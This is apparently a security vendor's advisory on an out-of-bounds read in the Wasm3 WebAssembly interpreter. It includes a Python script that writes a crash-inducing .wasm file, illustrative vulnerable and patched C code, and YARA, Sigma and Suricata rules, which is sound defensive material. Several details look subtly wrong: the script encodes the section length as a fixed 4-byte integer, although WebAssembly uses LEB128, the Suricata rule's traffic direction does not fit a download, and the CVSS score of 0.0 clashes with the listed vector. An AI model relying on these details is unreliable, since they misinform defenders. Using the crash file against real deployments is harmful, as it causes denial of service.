CVE-2024-34246

Executive Summary

CVE-2024-34246 is an out-of-bounds memory read vulnerability in Wasm3 v0.5.0, a WebAssembly interpreter. The flaw resides in the main function within wasm3/platforms/app/main.c, leading to a segmentation fault when processing malformed WebAssembly bytecode. With a CVSS score of 0.0 (unscored) and an EPSS probability of 0.0%, this vulnerability currently has no known exploitation in the wild. However, the lack of a patch and the potential for denial-of-service (DoS) in embedded or edge environments where Wasm3 is deployed makes it a latent risk. No public proof-of-concept (PoC) or exploit code exists at this time.

Supply Chain & Package Security

Wasm3 is distributed as a source-code project via GitHub and is not typically packaged in mainstream package managers (NPM, PyPI, Go, Ruby). However, it may be integrated as a submodule or dependency in larger projects. Organizations using Wasm3 should verify their supply chain for any unpatched versions and consider replacing it with a maintained alternative.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector (AV): Local (L) – requires local execution of a malicious .wasm file.
• Attack Complexity (AC): Low (L) – no special conditions needed.
• Privileges Required (PR): None (N) – attacker only needs to run the interpreter.
• User Interaction (UI): None (N) – no user action beyond execution.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – crash leads to denial of service.

Threat Level: Low (no active exploitation, no PoC, low EPSS).

Deep Dive & Mechanics

The vulnerability is an out-of-bounds read in the main function of Wasm3 v0.5.0. When the interpreter loads a crafted WebAssembly binary, it fails to validate memory boundaries during bytecode parsing. Specifically, the main function in wasm3/platforms/app/main.c reads beyond allocated buffers, causing a segmentation fault. This is a classic CWE-125 (Out-of-bounds Read) issue.

The root cause is insufficient bounds checking when iterating over the WebAssembly module's sections. An attacker can craft a .wasm file with a malformed section length or offset, causing the interpreter to read memory outside the intended buffer. This results in a crash (segfault), leading to denial of service.

Vulnerable vs. Patched Code

Vulnerable Code (v0.5.0):

// wasm3/platforms/app/main.c (simplified)
int main(int argc, char* argv[]) {
    // ...
    uint8_t* wasm_bytes = read_file(argv[1]);
    // No bounds check on wasm_bytes size
    parse_module(wasm_bytes, file_size);
    // ...
}

void parse_module(uint8_t* bytes, size_t size) {
    // Reads bytes without verifying offsets
    uint32_t magic = *(uint32_t*)bytes; // Potential OOB read if size < 4
    // ...
}

Patched Code (Hypothetical):

// Patched version with bounds checking
int main(int argc, char* argv[]) {
    // ...
    uint8_t* wasm_bytes = read_file(argv[1]);
    if (file_size < 8) {
        fprintf(stderr, "Invalid WASM file\n");
        return 1;
    }
    parse_module(wasm_bytes, file_size);
    // ...
}

void parse_module(uint8_t* bytes, size_t size) {
    if (size < 4) return; // Bounds check
    uint32_t magic = *(uint32_t*)bytes;
    // ...
}

No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

No public exploit code exists. To reproduce the crash, create a malformed .wasm file with an invalid section length:

# generate_crash_wasm.py
import struct

# Minimal valid WASM header
wasm = b'\x00asm'  # magic
wasm += struct.pack('<I', 1)  # version

# Craft a section with an out-of-bounds length
section_id = 0  # custom section
section_len = 0xFFFFFFFF  # huge length
wasm += struct.pack('B', section_id)
wasm += struct.pack('<I', section_len)

with open('crash.wasm', 'wb') as f:
    f.write(wasm)

Run:

./wasm3 crash.wasm

Expected output: Segmentation fault.

Blue Team

• Monitor for unexpected crashes of Wasm3 processes.
• Use file integrity monitoring to detect creation of .wasm files in sensitive directories.
• Restrict execution of Wasm3 to trusted users and directories.

Indicators of Compromise (IOCs)

• File Hashes: No known malicious samples.
• Process Anomalies: Wasm3 process crashing repeatedly (segfault).
• Network: No network indicators (local vulnerability).
• File Artifacts: Malformed .wasm files with invalid section lengths.

Detection Engineering

YARA Rule

rule CVE_2024_34246_Wasm3_OOB_Read {
    meta:
        description = "Detects malformed WASM files targeting CVE-2024-34246"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-34246"
    strings:
        $magic = { 00 61 73 6D }  // \0asm
        $version = { 01 00 00 00 }  // version 1
        $bad_section_len = { FF FF FF FF }  // 0xFFFFFFFF
    condition:
        $magic at 0 and $version at 4 and $bad_section_len
}

Sigma Rule

title: Wasm3 Crash via Malformed WASM File
id: cve-2024-34246
status: experimental
description: Detects Wasm3 process crashes due to out-of-bounds read
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/wasm3'
        CommandLine|contains: '.wasm'
    condition: selection
falsepositives:
    - Legitimate testing
level: low

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-34246 Wasm3 Malformed WASM Download"; flow:to_server,established; content:"|00 61 73 6D|"; offset:0; depth:4; content:"|01 00 00 00|"; offset:4; depth:4; content:"|FF FF FF FF|"; within:10; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Discontinue use of Wasm3 v0.5.0. Replace with a maintained WebAssembly runtime (e.g., Wasmtime, WAMR).
• Short-term: If Wasm3 must be used, apply the hypothetical patch above (add bounds checking in main.c).
• Long-term: Monitor the Wasm3 repository for an official fix. If none appears, fork and patch internally.
• Compensating Controls: Run Wasm3 in a sandboxed environment (e.g., Docker with limited memory) to contain crashes.

Valters IT – Securing Digital Frontiers